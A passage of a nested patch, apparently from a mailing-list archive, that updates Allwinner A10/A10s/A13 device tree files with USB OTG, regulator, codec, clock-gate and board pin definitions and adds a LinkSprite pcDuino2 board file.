++		interrupt-parent = <&pio>;
++		interrupts = <7 21 IRQ_TYPE_EDGE_FALLING>;
++		touchscreen-size-x = <800>;
++		touchscreen-size-y = <480>;
++	};
+ };
+ 
+ &lradc {
+@@ -149,6 +319,17 @@
+ };
+ 
+ &pio {
++	key_pins_inet9f: key_pins at 0 {
++		allwinner,pins = "PA0", "PA1", "PA3", "PA4",
++				 "PA5", "PA6", "PA8", "PA9",
++				 "PA11", "PA12", "PA13",
++				 "PA14", "PA15", "PA16", "PA17",
++				 "PH22", "PH23", "PH24", "PH25", "PH26";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
++
+ 	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
+ 		allwinner,pins = "PH4";
+ 		allwinner,function = "gpio_in";
+--- a/arch/arm/dts/sun4i-a10-itead-iteaduino-plus.dts
++++ b/arch/arm/dts/sun4i-a10-itead-iteaduino-plus.dts
+@@ -1,5 +1,6 @@
+ /*
+  * Copyright 2015 Josef Gajdusek <atx at atx.name>
++ * Copyright 2015 - Marcus Cooper <codekipper at gmail.com>
+  *
+  * This file is dual-licensed: you can use it either under the terms
+  * of the GPL or the X11 license, at your option. Note that this dual
+@@ -42,22 +43,11 @@
+ 
+ /dts-v1/;
+ #include "sun4i-a10.dtsi"
+-#include "sunxi-common-regulators.dtsi"
+-
+-#include <dt-bindings/gpio/gpio.h>
+-#include <dt-bindings/pinctrl/sun4i-a10.h>
++#include "sunxi-itead-core-common.dtsi"
+ 
+ / {
+ 	model = "Iteaduino Plus A10";
+ 	compatible = "itead,iteaduino-plus-a10", "allwinner,sun4i-a10";
+-
+-	aliases {
+-		serial0 = &uart0;
+-	};
+-
+-	chosen {
+-		stdout-path = "serial0:115200n8";
+-	};
+ };
+ 
+ &ahci {
+@@ -65,18 +55,6 @@
+ 	status = "okay";
+ };
+ 
+-&cpu0 {
+-	cpu-supply = <&reg_dcdc2>;
+-};
+-
+-&ehci0 {
+-	status = "okay";
+-};
+-
+-&ehci1 {
+-	status = "okay";
+-};
+-
+ &emac {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&emac_pins_a>;
+@@ -89,12 +67,7 @@
+ };
+ 
+ &i2c0 {
+-	pinctrl-names = "default";
+-	pinctrl-0 = <&i2c0_pins_a>;
+-	status = "okay";
+-
+ 	axp209: pmic at 34 {
+-		reg = <0x34>;
+ 		interrupts = <0>;
+ 	};
+ };
+@@ -135,68 +108,13 @@
+ 	status = "okay";
+ };
+ 
+-&ohci0 {
+-	status = "okay";
+-};
+-
+-&ohci1 {
+-	status = "okay";
+-};
+-
+ &reg_ahci_5v {
+ 	status = "okay";
+ };
+ 
+-#include "axp209.dtsi"
+-
+-&reg_dcdc2 {
+-	regulator-always-on;
+-	regulator-min-microvolt = <1000000>;
+-	regulator-max-microvolt = <1450000>;
+-	regulator-name = "vdd-cpu";
+-};
+-
+-&reg_dcdc3 {
+-	regulator-always-on;
+-	regulator-min-microvolt = <1000000>;
+-	regulator-max-microvolt = <1400000>;
+-	regulator-name = "vdd-int-dll";
+-};
+-
+-&reg_ldo1 {
+-	regulator-name = "vdd-rtc";
+-};
+-
+-&reg_ldo2 {
+-	regulator-always-on;
+-	regulator-min-microvolt = <3000000>;
+-	regulator-max-microvolt = <3000000>;
+-	regulator-name = "avcc";
+-};
+-
+-&reg_usb1_vbus {
+-	status = "okay";
+-};
+-
+-&reg_usb2_vbus {
+-	status = "okay";
+-};
+-
+ &spi0 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&spi0_pins_a>,
+ 		    <&spi0_cs0_pins_a>;
+ 	status = "okay";
+ };
+-
+-&uart0 {
+-	pinctrl-names = "default";
+-	pinctrl-0 = <&uart0_pins_a>;
+-	status = "okay";
+-};
+-
+-&usbphy {
+-	usb1_vbus-supply = <&reg_usb1_vbus>;
+-	usb2_vbus-supply = <&reg_usb2_vbus>;
+-	status = "okay";
+-};
+--- a/arch/arm/dts/sun4i-a10-jesurun-q5.dts
++++ b/arch/arm/dts/sun4i-a10-jesurun-q5.dts
+@@ -156,6 +156,10 @@
+ 	status = "okay";
+ };
+ 
++&otg_sram {
++	status = "okay";
++};
++
+ &pio {
+ 	emac_power_pin_q5: emac_power_pin at 0 {
+ 		allwinner,pins = "PH19";
+@@ -172,6 +176,11 @@
+ 	};
+ };
+ 
++&reg_usb0_vbus {
++	regulator-boot-on;
++	status = "okay";
++};
++
+ &reg_usb1_vbus {
+ 	status = "okay";
+ };
+@@ -186,7 +195,13 @@
+ 	status = "okay";
+ };
+ 
++&usb_otg {
++	dr_mode = "host";
++	status = "okay";
++};
++
+ &usbphy {
++	usb0_vbus-supply = <&reg_usb0_vbus>;
+ 	usb1_vbus-supply = <&reg_usb1_vbus>;
+ 	usb2_vbus-supply = <&reg_usb2_vbus>;
+ 	status = "okay";
+--- a/arch/arm/dts/sun4i-a10-marsboard.dts
++++ b/arch/arm/dts/sun4i-a10-marsboard.dts
+@@ -91,6 +91,10 @@
+ 	status = "okay";
+ };
+ 
++&codec {
++	status = "okay";
++};
++
+ &ehci0 {
+ 	status = "okay";
+ };
+@@ -154,6 +158,10 @@
+ 	status = "okay";
+ };
+ 
++&otg_sram {
++	status = "okay";
++};
++
+ &pio {
+ 	led_pins_marsboard: led_pins at 0 {
+ 		allwinner,pins = "PB5", "PB6", "PB7", "PB8";
+@@ -161,6 +169,13 @@
+ 		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
+ 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+ 	};
++
++	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
++		allwinner,pins = "PH4";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
+ };
+ 
+ &reg_usb1_vbus {
+@@ -184,7 +199,15 @@
+ 	status = "okay";
+ };
+ 
++&usb_otg {
++	dr_mode = "otg";
++	status = "okay";
++};
++
+ &usbphy {
++	pinctrl-names = "default";
++	pinctrl-0 = <&usb0_id_detect_pin>;
++	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
+ 	usb1_vbus-supply = <&reg_usb1_vbus>;
+ 	usb2_vbus-supply = <&reg_usb2_vbus>;
+ 	status = "okay";
+--- a/arch/arm/dts/sun4i-a10-mk802.dts
++++ b/arch/arm/dts/sun4i-a10-mk802.dts
+@@ -44,6 +44,7 @@
+ #include "sun4i-a10.dtsi"
+ #include "sunxi-common-regulators.dtsi"
+ #include <dt-bindings/gpio/gpio.h>
++#include <dt-bindings/pinctrl/sun4i-a10.h>
+ 
+ / {
+ 	model = "MK802";
+@@ -58,6 +59,10 @@
+ 	};
+ };
+ 
++&codec {
++	status = "okay";
++};
++
+ &ehci0 {
+ 	status = "okay";
+ };
+@@ -80,7 +85,25 @@
+ 	status = "okay";
+ };
+ 
++&otg_sram {
++	status = "okay";
++};
++
+ &pio {
++	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
++		allwinner,pins = "PH4";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
++	usb0_vbus_detect_pin: usb0_vbus_detect_pin at 0 {
++		allwinner,pins = "PH5";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
+ 	usb2_vbus_pin_mk802: usb2_vbus_pin at 0 {
+ 		allwinner,pins = "PH12";
+ 		allwinner,function = "gpio_out";
+@@ -89,6 +112,10 @@
+ 	};
+ };
+ 
++&reg_usb0_vbus {
++	status = "okay";
++};
++
+ &reg_usb1_vbus {
+ 	status = "okay";
+ };
+@@ -105,7 +132,17 @@
+ 	status = "okay";
+ };
+ 
++&usb_otg {
++	dr_mode = "otg";
++	status = "okay";
++};
++
+ &usbphy {
++	pinctrl-names = "default";
++	pinctrl-0 = <&usb0_id_detect_pin>, <&usb0_vbus_detect_pin>;
++	usb0_id_det-gpios = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
++	usb0_vbus_det-gpios = <&pio 7 5 GPIO_ACTIVE_HIGH>; /* PH5 */
++	usb0_vbus-supply = <&reg_usb0_vbus>;
+ 	usb1_vbus-supply = <&reg_usb1_vbus>;
+ 	usb2_vbus-supply = <&reg_usb2_vbus>;
+ 	status = "okay";
+--- a/arch/arm/dts/sun4i-a10-olinuxino-lime.dts
++++ b/arch/arm/dts/sun4i-a10-olinuxino-lime.dts
+@@ -124,6 +124,18 @@
+ 	};
+ };
+ 
++&i2c1 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c1_pins_a>;
++	status = "okay";
++
++	eeprom: eeprom at 50 {
++		compatible = "atmel,24c16";
++		reg = <0x50>;
++		pagesize = <16>;
++	};
++};
++
+ &mdio {
+ 	status = "okay";
+ 
+--- a/arch/arm/dts/sun4i-a10-pcduino.dts
++++ b/arch/arm/dts/sun4i-a10-pcduino.dts
+@@ -104,6 +104,10 @@
+ 	};
+ };
+ 
++&cpu0 {
++	cpu-supply = <&reg_dcdc2>;
++};
++
+ &ehci0 {
+ 	status = "okay";
+ };
+@@ -129,12 +133,8 @@
+ 	status = "okay";
+ 
+ 	axp209: pmic at 34 {
+-		compatible = "x-powers,axp209";
+ 		reg = <0x34>;
+ 		interrupts = <0>;
+-
+-		interrupt-controller;
+-		#interrupt-cells = <1>;
+ 	};
+ };
+ 
+@@ -164,6 +164,10 @@
+ 	status = "okay";
+ };
+ 
++&otg_sram {
++	status = "okay";
++};
++
+ &pio {
+ 	led_pins_pcduino: led_pins at 0 {
+ 		allwinner,pins = "PH15", "PH16";
+@@ -178,14 +182,40 @@
+ 		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
+ 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
+ 	};
++
++	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
++		allwinner,pins = "PH4";
++		allwinner,function = "gpio_in";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
++	};
+ };
+ 
+-&reg_usb1_vbus {
+-	status = "okay";
++#include "axp209.dtsi"
++
++&reg_dcdc2 {
++	regulator-always-on;
++	regulator-min-microvolt = <1000000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-cpu";
+ };
+ 
+-&reg_usb2_vbus {
+-	status = "okay";
++&reg_dcdc3 {
++	regulator-always-on;
++	regulator-min-microvolt = <1000000>;
++	regulator-max-microvolt = <1400000>;
++	regulator-name = "vdd-int-dll";
++};
++
++&reg_ldo1 {
++	regulator-name = "vdd-rtc";
++};
++
++&reg_ldo2 {
++	regulator-always-on;
++	regulator-min-microvolt = <3000000>;
++	regulator-max-microvolt = <3000000>;
++	regulator-name = "avcc";
+ };
+ 
+ &uart0 {
+@@ -194,8 +224,16 @@
+ 	status = "okay";
+ };
+ 
++&usb_otg {
++	dr_mode = "otg";
++	status = "okay";
++};
++
+ &usbphy {
+-	usb1_vbus-supply = <&reg_usb1_vbus>;
+-	usb2_vbus-supply = <&reg_usb2_vbus>;
++	pinctrl-names = "default";
++	pinctrl-0 = <&usb0_id_detect_pin>;
++	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
++	usb1_vbus-supply = <&reg_vcc5v0>; /* USB1 VBUS is always on */
++	usb2_vbus-supply = <&reg_vcc5v0>; /* USB2 VBUS is always on */
+ 	status = "okay";
+ };
+--- /dev/null
++++ b/arch/arm/dts/sun4i-a10-pcduino2.dts
+@@ -0,0 +1,78 @@
++/*
++ * Copyright 2015 Siarhei Siamashka <siarhei.siamashka at gmail.com>
++ *
++ * This file is dual-licensed: you can use it either under the terms
++ * of the GPL or the X11 license, at your option. Note that this dual
++ * licensing only applies to this file, and not this project as a
++ * whole.
++ *
++ *  a) This file is free software; you can redistribute it and/or
++ *     modify it under the terms of the GNU General Public License as
++ *     published by the Free Software Foundation; either version 2 of the
++ *     License, or (at your option) any later version.
++ *
++ *     This file is distributed in the hope that it will be useful,
++ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
++ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
++ *     GNU General Public License for more details.
++ *
++ * Or, alternatively,
++ *
++ *  b) Permission is hereby granted, free of charge, to any person
++ *     obtaining a copy of this software and associated documentation
++ *     files (the "Software"), to deal in the Software without
++ *     restriction, including without limitation the rights to use,
++ *     copy, modify, merge, publish, distribute, sublicense, and/or
++ *     sell copies of the Software, and to permit persons to whom the
++ *     Software is furnished to do so, subject to the following
++ *     conditions:
++ *
++ *     The above copyright notice and this permission notice shall be
++ *     included in all copies or substantial portions of the Software.
++ *
++ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
++ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
++ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
++ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
++ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
++ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
++ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
++ *     OTHER DEALINGS IN THE SOFTWARE.
++ */
++
++/*
++ * The LinkSprite pcDuino2 board is almost identical to the older
++ * LinkSprite pcDuino1 board. The only software visible difference
++ * is that the pcDuino2 board got a USB VBUS voltage regulator, which
++ * is controlled by the PD2 pin (pulled-up by default). Also one of
++ * the USB host ports has been replaced with a USB WIFI chip.
++ */
++
++#include "sun4i-a10-pcduino.dts"
++
++/ {
++	model = "LinkSprite pcDuino2";
++	compatible = "linksprite,a10-pcduino2", "allwinner,sun4i-a10";
++};
++
++&pio {
++	usb2_vbus_pin_pcduino2: usb2_vbus_pin at 0 {
++		allwinner,pins = "PD2";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++};
++
++&reg_usb2_vbus {
++	pinctrl-names = "default";
++	pinctrl-0 = <&usb2_vbus_pin_pcduino2>;
++	gpio = <&pio 3 2 GPIO_ACTIVE_HIGH>;
++	status = "okay";
++};
++
++&usbphy {
++	usb1_vbus-supply = <&reg_vcc3v3>; /* USB WIFI is always on */
++	usb2_vbus-supply = <&reg_usb2_vbus>;
++	status = "okay";
++};
+--- a/arch/arm/dts/sun4i-a10-pov-protab2-ips9.dts
++++ b/arch/arm/dts/sun4i-a10-pov-protab2-ips9.dts
+@@ -47,6 +47,7 @@
+ #include <dt-bindings/input/input.h>
+ #include <dt-bindings/interrupt-controller/irq.h>
+ #include <dt-bindings/pinctrl/sun4i-a10.h>
++#include <dt-bindings/pwm/pwm.h>
+ 
+ / {
+ 	model = "Point of View Protab2-IPS9";
+@@ -56,11 +57,28 @@
+ 		serial0 = &uart0;
+ 	};
+ 
++	backlight: backlight {
++		compatible = "pwm-backlight";
++		pinctrl-names = "default";
++		pinctrl-0 = <&bl_en_pin_protab>;
++		pwms = <&pwm 0 50000 PWM_POLARITY_INVERTED>;
++		brightness-levels = <0 10 20 30 40 50 60 70 80 90 100>;
++		default-brightness-level = <8>;
++		enable-gpios = <&pio 7 7 GPIO_ACTIVE_HIGH>; /* PH7 */
++	};
++
+ 	chosen {
+ 		stdout-path = "serial0:115200n8";
+ 	};
+ };
+ 
++&codec {
++	pinctrl-names = "default";
++	pinctrl-0 = <&codec_pa_pin>;
++	allwinner,pa-gpios = <&pio 7 15 GPIO_ACTIVE_HIGH>; /* PH15 */
++	status = "okay";
++};
++
+ &cpu0 {
+ 	cpu-supply = <&reg_dcdc2>;
+ };
+@@ -86,12 +104,36 @@
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&i2c1_pins_a>;
+ 	status = "okay";
++
++	/* Accelerometer */
++	bma250 at 18 {
++		compatible = "bosch,bma250";
++		reg = <0x18>;
++		interrupt-parent = <&pio>;
++		interrupts = <7 0 IRQ_TYPE_EDGE_RISING>; /* PH0 / EINT0 */
++	};
+ };
+ 
+ &i2c2 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&i2c2_pins_a>;
+ 	status = "okay";
++
++	pixcir_ts at 5c {
++		pinctrl-names = "default";
++		pinctrl-0 = <&touchscreen_pins>;
++		compatible = "pixcir,pixcir_tangoc";
++		reg = <0x5c>;
++		interrupt-parent = <&pio>;
++		interrupts = <7 21 IRQ_TYPE_EDGE_FALLING>; /* EINT21 (PH21) */
++		attb-gpio = <&pio 7 21 GPIO_ACTIVE_HIGH>; /* PH21 */
++		enable-gpios = <&pio 0 5 GPIO_ACTIVE_LOW>;
++		wake-gpios = <&pio 1 13 GPIO_ACTIVE_LOW>;
++		touchscreen-size-x = <1024>;
++		touchscreen-size-y = <768>;
++		touchscreen-inverted-x;
++		touchscreen-inverted-y;
++	};
+ };
+ 
+ &lradc {
+@@ -128,6 +170,27 @@
+ };
+ 
+ &pio {
++	bl_en_pin_protab: bl_en_pin at 0 {
++		allwinner,pins = "PH7";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
++	codec_pa_pin: codec_pa_pin at 0 {
++		allwinner,pins = "PH15";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
++	touchscreen_pins: touchscreen_pins at 0 {
++		allwinner,pins = "PA5", "PB13";
++		allwinner,function = "gpio_out";
++		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
++		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
++	};
++
+ 	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
+ 		allwinner,pins = "PH4";
+ 		allwinner,function = "gpio_in";
+@@ -143,6 +206,12 @@
+ 	};
+ };
+ 
++&pwm {
++	pinctrl-names = "default";
++	pinctrl-0 = <&pwm0_pins_a>;
++	status = "okay";
++};
++
+ &reg_dcdc2 {
+ 	regulator-always-on;
+ 	regulator-min-microvolt = <1000000>;
+--- a/arch/arm/dts/sun4i-a10.dtsi
++++ b/arch/arm/dts/sun4i-a10.dtsi
+@@ -45,6 +45,7 @@
+ 
+ #include <dt-bindings/thermal/thermal.h>
+ 
++#include <dt-bindings/clock/sun4i-a10-pll2.h>
+ #include <dt-bindings/dma/sun4i-a10.h>
+ #include <dt-bindings/pinctrl/sun4i-a10.h>
+ 
+@@ -65,7 +66,7 @@
+ 				     "simple-framebuffer";
+ 			allwinner,pipeline = "de_be0-lcd0-hdmi";
+ 			clocks = <&pll5 1>, <&ahb_gates 36>, <&ahb_gates 43>,
+-				 <&ahb_gates 44>;
++				 <&ahb_gates 44>, <&dram_gates 26>;
+ 			status = "disabled";
+ 		};
+ 
+@@ -74,7 +75,8 @@
+ 				     "simple-framebuffer";
+ 			allwinner,pipeline = "de_fe0-de_be0-lcd0-hdmi";
+ 			clocks = <&pll5 1>, <&ahb_gates 36>, <&ahb_gates 43>,
+-				 <&ahb_gates 44>, <&ahb_gates 46>;
++				 <&ahb_gates 44>, <&ahb_gates 46>,
++				 <&dram_gates 25>, <&dram_gates 26>;
+ 			status = "disabled";
+ 		};
+ 
+@@ -83,7 +85,8 @@
+ 				     "simple-framebuffer";
+ 			allwinner,pipeline = "de_fe0-de_be0-lcd0";
+ 			clocks = <&pll5 1>, <&ahb_gates 36>, <&ahb_gates 44>,
+-				 <&ahb_gates 46>;
++				 <&ahb_gates 46>, <&dram_gates 25>,
++				 <&dram_gates 26>;
+ 			status = "disabled";
+ 		};
+ 
+@@ -92,7 +95,8 @@
+ 				     "simple-framebuffer";
+ 			allwinner,pipeline = "de_fe0-de_be0-lcd0-tve0";
+ 			clocks = <&pll5 1>, <&ahb_gates 34>, <&ahb_gates 36>,
+-				 <&ahb_gates 44>, <&ahb_gates 46>;
++				 <&ahb_gates 44>, <&ahb_gates 46>,
++				 <&dram_gates 25>, <&dram_gates 26>;
+ 			status = "disabled";
+ 		};
+ 	};
+@@ -195,6 +199,15 @@
+ 			clock-output-names = "pll1";
+ 		};
+ 
++		pll2: clk at 01c20008 {
++			#clock-cells = <1>;
++			compatible = "allwinner,sun4i-a10-pll2-clk";
++			reg = <0x01c20008 0x8>;
++			clocks = <&osc24M>;
++			clock-output-names = "pll2-1x", "pll2-2x",
++					     "pll2-4x", "pll2-8x";
++		};
++
+ 		pll4: clk at 01c20018 {
+ 			#clock-cells = <0>;
+ 			compatible = "allwinner,sun4i-a10-pll1-clk";
+@@ -241,6 +254,7 @@
+ 			compatible = "allwinner,sun4i-a10-axi-gates-clk";
+ 			reg = <0x01c2005c 0x4>;
+ 			clocks = <&axi>;
++			clock-indices = <0>;
+ 			clock-output-names = "axi_dram";
+ 		};
+ 
+@@ -257,17 +271,36 @@
+ 			compatible = "allwinner,sun4i-a10-ahb-gates-clk";
+ 			reg = <0x01c20060 0x8>;
+ 			clocks = <&ahb>;
++			clock-indices = <0>, <1>,
++					<2>, <3>,
++					<4>, <5>, <6>,
++					<7>, <8>, <9>,
++					<10>, <11>, <12>,
++					<13>, <14>, <16>,
++					<17>, <18>, <20>,
++					<21>, <22>, <23>,
++					<24>, <25>, <26>,
++					<32>, <33>, <34>,
++					<35>, <36>, <37>,
++					<40>, <41>, <43>,
++					<44>, <45>,
++					<46>, <47>,
++					<50>, <52>;
+ 			clock-output-names = "ahb_usb0", "ahb_ehci0",
+-				"ahb_ohci0", "ahb_ehci1", "ahb_ohci1", "ahb_ss",
+-				"ahb_dma", "ahb_bist", "ahb_mmc0", "ahb_mmc1",
+-				"ahb_mmc2", "ahb_mmc3", "ahb_ms", "ahb_nand",
+-				"ahb_sdram", "ahb_ace",	"ahb_emac", "ahb_ts",
+-				"ahb_spi0", "ahb_spi1", "ahb_spi2", "ahb_spi3",
+-				"ahb_pata", "ahb_sata", "ahb_gps", "ahb_ve",
+-				"ahb_tvd", "ahb_tve0", "ahb_tve1", "ahb_lcd0",
+-				"ahb_lcd1", "ahb_csi0", "ahb_csi1", "ahb_hdmi",
+-				"ahb_de_be0", "ahb_de_be1", "ahb_de_fe0",
+-				"ahb_de_fe1", "ahb_mp", "ahb_mali400";
++					     "ahb_ohci0", "ahb_ehci1",
++					     "ahb_ohci1", "ahb_ss", "ahb_dma",
++					     "ahb_bist", "ahb_mmc0", "ahb_mmc1",
++					     "ahb_mmc2", "ahb_mmc3", "ahb_ms",
++					     "ahb_nand", "ahb_sdram", "ahb_ace",
++					     "ahb_emac", "ahb_ts", "ahb_spi0",
++					     "ahb_spi1", "ahb_spi2", "ahb_spi3",
++					     "ahb_pata", "ahb_sata", "ahb_gps",
++					     "ahb_ve", "ahb_tvd", "ahb_tve0",
++					     "ahb_tve1", "ahb_lcd0", "ahb_lcd1",
++					     "ahb_csi0", "ahb_csi1", "ahb_hdmi",
++					     "ahb_de_be0", "ahb_de_be1",
++					     "ahb_de_fe0", "ahb_de_fe1",
++					     "ahb_mp", "ahb_mali400";
+ 		};
+ 
+ 		apb0: apb0 at 01c20054 {
+@@ -283,9 +316,14 @@
+ 			compatible = "allwinner,sun4i-a10-apb0-gates-clk";
+ 			reg = <0x01c20068 0x4>;
+ 			clocks = <&apb0>;
++			clock-indices = <0>, <1>,
++					<2>, <3>,
++					<5>, <6>,
++					<7>, <10>;
+ 			clock-output-names = "apb0_codec", "apb0_spdif",
+-				"apb0_ac97", "apb0_iis", "apb0_pio", "apb0_ir0",
+-				"apb0_ir1", "apb0_keypad";
++					     "apb0_ac97", "apb0_iis",
++					     "apb0_pio", "apb0_ir0",
++					     "apb0_ir1", "apb0_keypad";
+ 		};
+ 
+ 		apb1: clk at 01c20058 {
+@@ -301,12 +339,22 @@
+ 			compatible = "allwinner,sun4i-a10-apb1-gates-clk";
+ 			reg = <0x01c2006c 0x4>;
+ 			clocks = <&apb1>;
++			clock-indices = <0>, <1>,
++					<2>, <4>,
++					<5>, <6>,
++					<7>, <16>,
++					<17>, <18>,
++					<19>, <20>,
++					<21>, <22>,
++					<23>;
+ 			clock-output-names = "apb1_i2c0", "apb1_i2c1",
+-				"apb1_i2c2", "apb1_can", "apb1_scr",
+-				"apb1_ps20", "apb1_ps21", "apb1_uart0",
+-				"apb1_uart1", "apb1_uart2", "apb1_uart3",
+-				"apb1_uart4", "apb1_uart5", "apb1_uart6",
+-				"apb1_uart7";
++					     "apb1_i2c2", "apb1_can",
++					     "apb1_scr", "apb1_ps20",
++					     "apb1_ps21", "apb1_uart0",
++					     "apb1_uart1", "apb1_uart2",
++					     "apb1_uart3", "apb1_uart4",
++					     "apb1_uart5", "apb1_uart6",
++					     "apb1_uart7";
+ 		};
+ 
+ 		nand_clk: clk at 01c20080 {
+@@ -446,6 +494,48 @@
+ 			clocks = <&osc24M>, <&pll6 1>, <&pll5 1>;
+ 			clock-output-names = "spi3";
+ 		};
++
++		dram_gates: clk at 01c20100 {
++			#clock-cells = <1>;
++			compatible = "allwinner,sun4i-a10-dram-gates-clk";
++			reg = <0x01c20100 0x4>;
++			clocks = <&pll5 0>;
++			clock-indices = <0>,
++					<1>, <2>,
++					<3>,
++					<4>,
++					<5>, <6>,
++					<15>,
++					<24>, <25>,
++					<26>, <27>,
++					<28>, <29>;
++			clock-output-names = "dram_ve",
++					     "dram_csi0", "dram_csi1",
++					     "dram_ts",
++					     "dram_tvd",
++					     "dram_tve0", "dram_tve1",
++					     "dram_output",
++					     "dram_de_fe1", "dram_de_fe0",
++					     "dram_de_be0", "dram_de_be1",
++					     "dram_de_mp", "dram_ace";
++		};
++
++		ve_clk: clk at 01c2013c {
++			#clock-cells = <0>;
++			#reset-cells = <0>;
++			compatible = "allwinner,sun4i-a10-ve-clk";
++			reg = <0x01c2013c 0x4>;
++			clocks = <&pll4>;
++			clock-output-names = "ve";
++		};
++
++		codec_clk: clk at 01c20140 {
++			#clock-cells = <0>;
++			compatible = "allwinner,sun4i-a10-codec-clk";
++			reg = <0x01c20140 0x4>;
++			clocks = <&pll2 SUN4I_A10_PLL2_1X>;
++			clock-output-names = "codec";
++		};
+ 	};
+ 
+ 	soc at 01c00000 {
+@@ -656,6 +746,14 @@
+ 			status = "disabled";
+ 		};
+ 
++		crypto: crypto-engine at 01c15000 {
++			compatible = "allwinner,sun4i-a10-crypto";
++			reg = <0x01c15000 0x1000>;
++			interrupts = <86>;
++			clocks = <&ahb_gates 5>, <&ss_clk>;
++			clock-names = "ahb", "mod";
++		};
++
+ 		spi2: spi at 01c17000 {
+ 			compatible = "allwinner,sun4i-a10-spi";
+ 			reg = <0x01c17000 0x1000>;
+@@ -961,6 +1059,19 @@
+ 			status = "disabled";
+ 		};
+ 
++		codec: codec at 01c22c00 {
++			#sound-dai-cells = <0>;
++			compatible = "allwinner,sun4i-a10-codec";
++			reg = <0x01c22c00 0x40>;
++			interrupts = <30>;
++			clocks = <&apb0_gates 0>, <&codec_clk>;
++			clock-names = "apb", "codec";
++			dmas = <&dma SUN4I_DMA_NORMAL 19>,
++			       <&dma SUN4I_DMA_NORMAL 19>;
++			dma-names = "rx", "tx";
++			status = "disabled";
++		};
++
+ 		sid: eeprom at 01c23800 {
+ 			compatible = "allwinner,sun4i-a10-sid";
+ 			reg = <0x01c23800 0x10>;
+--- a/arch/arm/dts/sun5i-a10s-auxtek-t004.dts
++++ b/arch/arm/dts/sun5i-a10s-auxtek-t004.dts
+@@ -86,6 +86,20 @@
+ 	status = "okay";
+ };
+ 
++&i2c0 {
++	pinctrl-names = "default";
++	pinctrl-0 = <&i2c0_pins_a>;
++	status = "okay";
++
++	axp152: pmic at 30 {
++		compatible = "x-powers,axp152";
++		reg = <0x30>;
++		interrupts = <0>;
++		interrupt-controller;
++		#interrupt-cells = <1>;
++	};
++};
++
+ &mmc0 {
+ 	pinctrl-names = "default";
+ 	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_t004>;
+--- a/arch/arm/dts/sun5i-a10s-olinuxino-micro.dts
++++ b/arch/arm/dts/sun5i-a10s-olinuxino-micro.dts
+@@ -111,7 +111,7 @@
+ 	status = "okay";
+ 
+ 	at24 at 50 {
+-		compatible = "at,24c16";
++		compatible = "atmel,24c16";
+ 		pagesize = <16>;
+ 		reg = <0x50>;
+ 		read-only;
+--- a/arch/arm/dts/sun5i-a13-empire-electronix-d709.dts
++++ b/arch/arm/dts/sun5i-a13-empire-electronix-d709.dts
+@@ -123,7 +123,7 @@
+ 
+ &mmc0 {
+ 	pinctrl-names = "default";
+-	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_inet98fv2>;
++	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_d709>;
+ 	vmmc-supply = <&reg_vcc3v3>;
+ 	bus-width = <4>;
+ 	cd-gpios = <&pio 6 0 GPIO_ACTIVE_HIGH>; /* PG0 */
+@@ -131,27 +131,12 @@
+ 	status = "okay";
+ };
+ 
+-&mmc2 {
+-	pinctrl-names = "default";
+-	pinctrl-0 = <&mmc2_pins_a>;
+-	vmmc-supply = <&reg_vcc3v3>;
+-	bus-width = <8>;
+-	non-removable;
+-	status = "okay";
+-
+-	mmccard: mmccard at 0 {
+-		reg = <0>;
